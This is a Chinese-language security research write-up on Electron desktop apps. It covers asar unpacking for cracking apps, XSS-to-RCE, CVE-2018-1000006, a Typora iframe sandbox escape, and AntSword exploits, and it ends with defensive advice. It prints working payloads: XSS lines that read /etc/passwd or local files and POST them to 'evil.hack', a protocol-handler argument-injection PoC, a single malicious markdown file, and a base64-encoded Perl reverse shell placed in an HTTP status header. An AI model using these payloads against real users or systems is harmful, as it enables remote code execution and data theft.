0x00 前言
electron是一个流行的桌面应用开发框架,允许开发者使用web技术和nodejs结合来迅速开发桌面应用. 不过由于使用了js等, 也引入了xss漏洞,通常如果能在electron应用发现xss就可以rce。
0x01逆向
“ asar ”文件是“带有索引的简单的类似tar的广泛存档格式”,Electron提供了一个npm软件包来管理这些文件(打包/提取)。但是,此文件未以任何方式进行加密,混淆或保护。攻击者可以对这些文件进行任何修改,然后重新打包文件而无需修改实际可执行文件的签名。此外,这种攻击在所有操作系统上均有效。
Electron跨平台程序破解
Electron封装的跨平台程序破解的一般思路:
- 安装npm(至于如何安装,网上教程很多,不赘述)
- 安装好npm后执行命令安装asar:npm install asar -g
- 以macOS平台为例,在Prepros.app/Contents/Resources下找到app.asar,其他平台方法类似
- 用asar命令解包:asar e app.asar tmp
- 到步骤4中建立的tmp目录下找到对应的js文件hack之。
- 破解完后重新封装程序 :asar p tmp/ app.asar,破解完成。
这里有时候会遇到个坑就是:不能把文件叫取名为tmp,必须是app,文件夹名使用tmp后重新封装出现40g的情况,tmp重新封装会出现文件无法打包的问题
所以正确的方法是
- 安装npm(至于如何安装,网上教程很多,不赘述)
- 安装好npm后执行命令安装asar:npm install asar -g
- C:UsersyonghuAppDataLocalPrograms* esources下找到app.asar
- 用asar命令解包:asar e app.asar app
- 到步骤4中建立的app目录下找到对应的rendderer.js文修改
- 破解完后重新封装程序 :asar p app/ app.asar,破解完成。
0x02 审计思路
各个目录的目录结构不一定,但都有一个主文件 如 main.js
. 在这里处理应用的启动
在最简单的应用版本中,一个Electron文件包含下面三个文件:index.js
,index.html
,package.json
。
我们检查的第一个目标是package.json
,其中包含了所有应用入口点的对应文件路径:
{
"name": "Example App",
"description": "Core App",
"main": "app/index.js",
"private": true,
}
如上例子,入口点是位于app文件夹中名为index.js的文件,该文件将会作为主进程执行。如果没有特别的指定,index.js是默认的主文件。文件index.html和其他的web资源被用在渲染进程中,用来展示真实的内容给用户。一个新的渲染进程(renderer process)在主进程(main process)实例化每一个browserWindow时被创建。
自定义url协议
electron应用可以注册自己的url 协议 例如custom://
, 使得可以通过浏览器直接打开应用. 这里对url协议的处理不当可能导致rce等 例子.
注册url的代码例子如下
const protocol = electron.protocol
// handles links `todo2://<something>`
const PROTOCOL_PREFIX = 'todo2'
function createWindow () {
mainWindow = new BrowserWindow({ 1000, height: 800})
// handle url protocol
protocol.registerHttpProtocol(PROTOCOL_PREFIX, (req, cb) => {
const fullUrl = formFullTodoUrl(req.url)
devToolsLog('full url to open ' + fullUrl)
mainWindow.loadURL(fullUrl)
})
}
domxss
Electron 中的 DOM 操作必须更精细,严格转义是必要的。(渲染进程中可以使用 Node 函数) 基于这个特性,攻击者可以在此之中插入 Node 函数用于攻击, 比如,这是一个普通的 XSS 实例:
// xss_source 是攻击者可以控制的字符串
elm.innerHTML = xss_source; // XSS!
攻击者可以以下面的方式利用:
// 弹计算器
<img src=# onerror="require('child_process').exec('calc.exe',null);">
// 读取本地文件并发送
<img src=# onerror="let s = require('fs').readFileSync('/etc/passwd','utf-8');
fetch('http://evil.hack/', { method:'POST', body:s });">
lectron 的架构问题
- 浏览器窗口默认支持加载file://
- 并没有与普通浏览器一般的地址栏
本地文件信息窃取
我们发现在默认情况下,Node 语句是可用的。 但是,如果开发者禁用了 Node 语句:
// main.js 节选
win = new BrowserWindow({ webPreferences:{nodeIntegration:false} });
win.loadURL(`file://${__dirname}/index.html`);
这种情况下,我们注入的 Node 语句不生效,可造成的威胁降低了。 看起来,在创建 BrowserWindow 的时候禁用 Node 语句是必要的。 但是,如果 Node 语句被禁用,Electron 会变得很鸡肋。
如果开发者执意禁止 Node 语句,我们依然不是无计可施的。 以刚刚的 main.js 为例,我们可以通过xhr来做更多的事情。
var xhr = new XMLHttpRequest();
xhr.open("GET", "file://c:/file.txt", true);
xhr.onload = () => {
fetch("http://eveil.hack/",{method:"POST", body:xhr.responseText});
};
xhr.send( null );
通过上面的代码,我们可以读取本地文件并将其发送出去。 这使得开发者在牺牲 Electron 的实用性禁用 Node 语句后, XSS 依旧十分强大。
0x03 实战案列
CVE-2018-1000006:Electron远程代码执行漏洞
影响范围
Electron < 1.8.2-beta.4、1.7.11、1.6.16 的版本
漏洞环境搭建
先把环境搭建出来,将存在漏洞的Electron 1.7.10压缩包下载至本地,双击electron.exe运行。(实现环境下直接将写的代码用鼠标拖至Electron窗体里即可运行。)
确认项目没有问题后,即可进行后续的漏洞分析工作。
PoC的构造
通过漏洞公告可以知道,漏洞存在于app.setAsDefaultProtocolClient()方法。
昨天捅咕了半天,没啥进展,今天先知上有大佬发了分析文章(Electron < v1.8.2-beta.4 远程命令执行漏洞-【CVE-2018-1000006】),学习一发,PoC采用原作者提供的。
将存在漏洞的项目拖至electron.exe窗体中即可运行。
PoC(from CHYbeta/CVE-2018-1000006-DEMO):
<html>
<head>
POC for CVE-2018-1000006
</head>
<body>
<a class="protocol" href='chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc'><h3>payload: chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc</h3></a>
</body>
</html>
点击超链接,则会触发这个RCE,实现命令执行。
原理浅析
由官方的漏洞公告可知,该漏洞存在位置app.setAsDefaultProtocolClient(),在仓库中全局搜索SetAsDefaultProtocolClient(electron/electron),由于该漏洞仅影响Windows系统,则关注下browser_win.cc#L212(https://github.com/electron/electron/blob/6bc7c8cc496a2bd899b2511de39f8fa1b0d7147c/atom/browser/browser_win.cc#L212),该函数的主要的功能是实现注册表键值的注册。
bool Browser::SetAsDefaultProtocolClient(const std::string& protocol,
mate::Arguments* args) {
// HKEY_CLASSES_ROOT
// $PROTOCOL
// (Default) = "URL:$NAME"
// URL Protocol = ""
// shell
// open
// command
// (Default) = "$COMMAND" "%1"
//
// However, the "HKEY_CLASSES_ROOT" key can only be written by the
// Administrator user. So, we instead write to "HKEY_CURRENT_USER
// SoftwareClasses", which is inherited by "HKEY_CLASSES_ROOT"
// anyway, and can be written by unprivileged users.
if (protocol.empty())
return false;
base::string16 exe;
if (!GetProtocolLaunchPath(args, &exe))
return false;
// Main Registry Key
HKEY root = HKEY_CURRENT_USER;
base::string16 keyPath = base::UTF8ToUTF16("Software\Classes\" + protocol);
base::string16 urlDecl = base::UTF8ToUTF16("URL:" + protocol);
// Command Key
base::string16 cmdPath = keyPath + L"\shell\open\command";
// Write information to registry
base::win::RegKey key(root, keyPath.c_str(), KEY_ALL_ACCESS);
if (FAILED(key.WriteValue(L"URL Protocol", L"")) ||
FAILED(key.WriteValue(L"", urlDecl.c_str())))
return false;
base::win::RegKey commandKey(root, cmdPath.c_str(), KEY_ALL_ACCESS);
if (FAILED(commandKey.WriteValue(L"", exe.c_str())))
return false;
return true;
}
通过运行regedit打开注册表编辑器可以看到
运行PoC,点击构造好的超链接(payload),注册表中的%1则会替换为payload,
chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc
payload中的双引号闭合掉前面的双引号,最后形成如下所示命令
elec_rce.exe "chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc"
通过第3个参数带入Chromium实现命令执行:--renderer-cmd-prefix=cmd.exe /c start calc
缕一下攻击场景和完整的利用思路:
0、程序开发时调用了存在漏洞的函数,实现用户自定义协议的注册,拿我这个来说注册了test协议,那当用户访问test协议下的资源时,就会启动该程序访问(test://xxx)
app.setAsDefaultProtocolClient('test')
1、程序启动时会在注册表中注册键值(%1是占位符,用于接收用户输入的参数)
"E:elec_rce.exe" "%1"
2、执行PoC时,通过刚刚程序注册的test://自定义协议触发
test://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc
3、payload带入占位符%1,同时闭合双引号,通过后续的参数--renderer-cmd-prefix,传递至Chromium,实现命令执行
如何在Typora编辑器上实现远程命令执行
我们知道,针对Electron应用,大部分时候我们只要找到了XSS漏洞,也就约等于完成了命令执行。所以,我们祭出祖传的XSS payload一顿打,惊喜发现没有任何弹窗。通过简单研究我们发现,Typora作者在研发的时候采用了cure53的DOMPurify过滤了预览输出的html,缓解了大部分的XSS攻击。
那这个编辑器就没有漏洞了吗?
当然是不可能的。Kein System ist sicher.
有人可能会想到一个神奇的标签
- round 1
输入
<iframe src="javascript:alert(1)"></iframe>
输出:
我们可以看到Typora会把src当做相对路径来处理,那如果我们包含一个本地的html文件呢?
- round 2
新建poc.md输入
<iframe src="./poc.html"></iframe>
同目录下的poc.html内容如下:
<script>
window.parent.top.alert(1)
</script>
我们惊喜发现出现了弹窗!
这个javascript为什么执行了呢?
我们可以通过Typora的dev mode查看一下页面源码:
<iframe src="E:slidevul ypora_pocpoc.html" allow-top-navigation="false" allow-forms="false" allowfullscreen="true" allow-popups="false" sandbox="allow-same-origin allow-scripts" onload="window.remoteOnLoad(this)" height="24" data-user-height="24"></iframe>
我们发现有这样一个sandbox属性:
sandbox="allow-same-origin allow-scripts"
通过查阅文档HTML Standard发现,HTML 5通过sandbox属性提升iframe的安全性,我们注意到文档中有一个大大的warning:
Setting both the allow-scripts and allow-same-origin keywords together when the embedded page has the same origin as the page containing the iframe allows the embedded page to simply remove the sandbox attribute and then reload itself, effectively breaking out of the sandbox altogether.
意思就是如果在iframe的sandbox属性里同时设置allow-scripts和allow-same-origin的话,同源的子页面就可以通过javascript突破HTML 5的沙盒,sandbox形同虚设。
这样我们便可以修改一下poc.html的源码实现命令执行:
<script>
//rce
window.parent.top.require('child_process').execFile('C:/Windows/System32/calc.exe',function(error, stdout, stderr){
if(error){
console.log(error);
}
});
</script>
但是现在的漏洞利用起来非常鸡肋,受害者需要下载两个文件,同时保持在一个目录,再打开poc.md,整个过程比较繁琐,能不能用一个文件实现呢?
- 尝试srcdoc
<iframe srcdoc="<script>window.parent.top.alert(1)</script>"></iframe>
我们发现并没有执行,查看一下源码:
<iframe srcdoc="<script>window.parent.top.alert(1)</script>" guest-id="3" allow-top-navigation="false" allow-forms="false" allowfullscreen="true" allow-popups="false" sandbox=""></iframe>
iframe未设置allow-scripts的独立属性,同时sandbox设置为空字符串,意思是应用所有的沙盒限制,因此使用srcdoc的方式不可行。
- 尝试引入md文件,而非html文件
新建一个cmd.md文件,内容与之前poc.html一致:
<script>
//rce
window.parent.top.require('child_process').execFile('C:/Windows/System32/calc.exe',function(error, stdout, stderr){
if(error){
console.log(error);
}
});
</script>
用Typora打开poc.md文件:
<iframe src="./cmd.md"></iframe>
我们发现是可以继续实行命令执行的,由此可以看出,Typora在嵌入md文件之后,仍会对md文件的html标签进行解析。
- 直接引入poc.md自身
修改poc.md文件内容:
<iframe src="./poc.md"></iframe>
<script>
//rce
window.parent.top.require('child_process').execFile('C:/Windows/System32/calc.exe',function(error, stdout, stderr){
if(error){
console.log(error);
}
});
</script>
现在,我们只需要发送一个md文件给受害者,一旦受害者使用Typora打开,我们便可以在受害者的电脑上执行任意命令。
蚁剑RCE
RCE1
由于蚁剑用Electron开发,当前程序的上下文应该是node,于是我们可以调用node模块进行RCE
poc:
<img src=# onerror="require('child_process').exec('cat /etc/passwd',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});">
RCE2
?php
header('HTTP/1.1 500 <img src=# onerror=alert(1)>');
喜提一枚X (R) S (C) S (E) 漏洞,当然这只是poc,并不能执行命令。下面是我的exp
<?php
header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxMjcuMC4wLjEiOyRwPTEwMDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIik7fTtcJycsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>");
?>
base64是因为引号太多了很麻烦,只能先编码在解码eval。解码后的代码
require('child_process').exec('perl -e 'use Socket;$i="127.0.0.1";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});
双击shell后
并且在蚁剑关闭后这个shell也不会断
源码分析
这是官方修复我第一个Self-xss的代码改动
更新后在目录输出这个位置使用了noxss函数进行输出,全局查找noxss函数
函数的作用很明显,把& < > “替换为实体字符,默认也替换换行。所以我们在新版本构造的exp会失效
并且作者在大部分的输出点都做了过滤
几乎界面的所有输出都做了过滤,那为什么在我们的连接错误信息中没有过滤呢。于是我准备从源码层面上分析原因。由于错误信息是在连接失败的时候抛出,所以我怀疑输出点是http连接时候的错误处理产生的输出,所以先全局查找http的连接功能或函数,由于http连接一般属于核心全局函数或类。我先从入口文件app.js看起。(通过package.json配置文件的main值知道入口文件是app.js)
入口文件一共就80行,在最末尾入口文件引入了6个文件,其中的request十分明显肯定是发起网络请求的文件,跟进分析。
开头的注释就表示了这个文件就是专门发起网络请求的函数文件,在第13行,发现这个文件引入了一个模块superagent,这是一个node的轻量级网络请求模块,类似于python中的requests库,所以可以确定此函数使用这个库发起网络请求,追踪superagent变量
在104行发现,新建了一个网络请求,并且将返回对象赋予_request参数,从94行的注释也能发现这里应该实现的应该给是发起网络请求的功能,所以从这里开始追踪_request变量。
从123行到132行是发网络请求,并且151行,当产生错误的时候会传递一个request-error错误,并且传递了错误信息,并且之后的代码也是相同的错误处理,于是全局搜索request-error。
很明显,跟进base.js
这里定义了一个request函数,封装好了http请求,在监听到request-error-事件的时候会直接返回promise的reject状态,并且传递error信息,ret变量就是上面传递过来的err, rej就是promise的reject,不懂promise的可以去看看promise。然后由之后调用此request函数的catch捕获。所以全局搜索request函数
在搜索列表里发现有database,filemanager,shellmanager等文件都调用了request函数,由于蚁剑的shell先会列目录文件,所以第一个网络请求可能是发起文件或目录操作,而我们的错误信息就是在第一次网络请求后面被输出,所以跟进filemanager
在140行注释发现了获取文件目录的函数,审计函数
在166行发现了调用了request函数,204行用catch捕获了前面promise的reject,并且将err错误信息json格式化并传递给toastr.error这个函数。toastr是一款轻量级的通知提示框Javascript插件,下面是这个插件的用法
看看上面蚁剑输出的错误信息,是不是发现了点什么。
这个插件在浏览器里面也是默认不会进行xss过滤的。由于错误信息包含了http返回包的状态码和信息,所以我们构造恶意http头,前端通过toastr插件输出即可造成远程命令执行。
0x04 防御
随着Electron框架在跨平台应用开发市场取得的巨大成功,越来越多的开发者采用Electron进行应用开发,那么如何在开发中比较好的避免出现这些风险呢,这里有几个建议:
- 采用诸如cure53/DOMPurify类似的组件过滤用户输入输出,缓解XSS漏洞
- 各种HTML 5的安全属性要正确设置,特别是iframe标签
- 可以采用Electron的webview标签去包裹用户内容区,当然也要进行正确的安全设置,参考Webview Vulnerability Fix | Electron Blog
- 避免使用shell模块去直接处理file://等协议的链接